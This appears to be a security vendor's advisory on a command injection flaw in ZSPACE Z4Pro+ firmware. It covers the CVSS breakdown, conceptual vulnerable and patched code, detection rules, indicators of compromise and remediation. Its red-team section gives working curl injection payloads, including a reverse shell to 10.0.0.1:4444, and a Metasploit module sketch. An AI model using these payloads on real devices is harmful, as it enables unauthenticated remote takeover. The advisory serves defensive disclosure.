CVE-2025-15131
Executive Summary
CVE-2025-15131 is a critical command injection vulnerability discovered in the ZSPACE Z4Pro+ device running firmware version 1.0.0440024. The flaw resides in the HTTP POST request handler for the endpoint /v2/file/safe/status, specifically within the zfilev2_api_SafeStatus function. An unauthenticated remote attacker can inject arbitrary operating system commands by manipulating input parameters, leading to full device compromise. The exploit has been publicly disclosed, and no official patch is currently available. This vulnerability poses a significant risk to enterprise environments using ZSPACE devices for collaborative or educational purposes.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in a proprietary hardware device.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component remains isolated.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Some data modification possible.
- Availability Impact: Low (A:L) – Partial service disruption possible.
Threat Level: High due to public exploit availability, no patch, and remote unauthenticated access.
Deep Dive & Mechanics
The vulnerability is a classic command injection flaw in the ZSPACE Z4Pro+ firmware. The endpoint /v2/file/safe/status is designed to check the safety status of files. The zfilev2_api_SafeStatus function likely passes user-supplied input (e.g., file paths or names) directly to a system shell command without proper sanitization or escaping.
Root Cause: The application fails to validate or sanitize input before concatenating it into a command string executed by the operating system. For example, a request like:
POST /v2/file/safe/status HTTP/1.1
Content-Type: application/json
{"file": ";id"}
Would result in the shell executing something akin to:
check_safe_status ;id
The semicolon (;) terminates the intended command and allows arbitrary command execution.
Attack Flow:
- Attacker sends a crafted POST request to the vulnerable endpoint.
- The injected command is executed with the privileges of the web server (often root or a high-privilege user).
- Attacker can then execute arbitrary commands, exfiltrate data, install backdoors, or pivot to other network segments.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable code pattern.
Vulnerable Code (Conceptual):
import subprocess
import json
def zfilev2_api_SafeStatus(request):
data = json.loads(request.body)
file_path = data.get("file")
# VULNERABLE: Direct concatenation into shell command
cmd = "check_safe_status " + file_path
result = subprocess.check_output(cmd, shell=True)
return result
Patched Code (Conceptual):
import subprocess
import json
import shlex
def zfilev2_api_SafeStatus(request):
data = json.loads(request.body)
file_path = data.get("file")
# PATCHED: Use shlex.quote to escape shell metacharacters
safe_path = shlex.quote(file_path)
cmd = "check_safe_status " + safe_path
result = subprocess.check_output(cmd, shell=True)
return result
The patched version uses shlex.quote() to escape special characters, preventing injection. Alternatively, the application should avoid shell=True and use a list of arguments.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target: ZSPACE Z4Pro+ with firmware 1.0.0440024
- Network access to the device's web interface (typically port 80 or 443)
Exploit Steps:
- Identify the target IP address.
- Send a crafted POST request to
/v2/file/safe/statuswith a command injection payload.
Example Exploit (using curl):
curl -X POST http://<target_ip>/v2/file/safe/status \
-H "Content-Type: application/json" \
-d '{"file": ";id"}'
Advanced Payload (Reverse Shell):
curl -X POST http://<target_ip>/v2/file/safe/status \
-H "Content-Type: application/json" \
-d '{"file": ";bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}'
Metasploit Module (Conceptual):
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ZSPACE Z4Pro+ Command Injection',
'Description' => 'Exploits command injection in /v2/file/safe/status',
'Author' => ['Security Researcher'],
'References' => [['CVE', '2025-15131']],
'DisclosureDate' => '2025-03-01',
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0
))
end
def exploit
payload = ";#{payload.encoded}"
res = send_request_cgi({
'method' => 'POST',
'uri' => '/v2/file/safe/status',
'ctype' => 'application/json',
'data' => "{\"file\":\"#{payload}\"}"
})
end
end
Blue Team
Detection & Response:
- Monitor HTTP POST requests to
/v2/file/safe/statusfor unusual payloads. - Look for shell metacharacters (
;,|,&,$,`) in JSON fields. - Alert on outbound connections from the ZSPACE device to unknown IPs (potential reverse shell).
- Isolate the device on a separate VLAN if possible.
Honeypot Setup:
Deploy a fake ZSPACE endpoint that logs all POST requests to /v2/file/safe/status for threat intelligence gathering.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/v2/file/safe/statuswith JSON body containing shell metacharacters. - Outbound connections from the ZSPACE device to unusual IPs/ports (e.g., 4444/tcp).
- DNS queries to suspicious domains from the device.
File System IOCs:
- Unexpected files in
/tmp/or/var/tmp/(e.g., reverse shell scripts). - Modified system binaries (e.g.,
/bin/shreplaced). - New cron jobs or systemd services.
Process IOCs:
- Unusual processes running as root (e.g.,
bash,nc,python). - Processes with network connections to external IPs.
Log IOCs:
- Web server logs showing
;idor similar patterns in POST data. - System logs (
/var/log/syslog) showing command execution errors.
Detection Engineering
YARA Rule
rule CVE_2025_15131_Command_Injection {
meta:
description = "Detects command injection attempts against ZSPACE Z4Pro+"
author = "Valters IT"
date = "2025-03-01"
reference = "CVE-2025-15131"
strings:
$json_payload = /{"file"\s*:\s*"[^"]*[;&|`$()][^"]*"}/
$shell_meta = /[;&|`$()]/
condition:
$json_payload or ($shell_meta and #json_payload > 0)
}
Sigma Rule
title: CVE-2025-15131 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /v2/file/safe/status with command injection payloads
author: Valters IT
date: 2025-03-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/v2/file/safe/status'
cs-uri-query|contains:
- ';'
- '|'
- '&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of special characters in file names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-15131 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/v2/file/safe/status"; http_uri; content:"{"; http_client_body; pcre:"/\\x22file\\x22\\s*:\\s*\\x22[^\\x22]*[;&|`$()][^\\x22]*\\x22/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place ZSPACE Z4Pro+ units on a separate VLAN with strict firewall rules.
- Disable the endpoint: If possible, block access to
/v2/file/safe/statusvia web server configuration or reverse proxy. - Monitor logs: Enable detailed logging for all HTTP requests and system commands.
Long-Term Fixes:
- Vendor Patch: Await an official firmware update from ZSPACE. Contact vendor support for ETA.
- Input Validation: Implement strict input validation and sanitization for all user-supplied data.
- Command Execution: Replace shell execution with safer APIs (e.g.,
subprocess.runwith list arguments). - Web Application Firewall (WAF): Deploy a WAF rule to block command injection patterns.
Workaround: If patching is not possible, consider replacing the device or implementing a custom proxy that sanitizes requests to the vulnerable endpoint.
Valters IT
Securing Digital Frontiers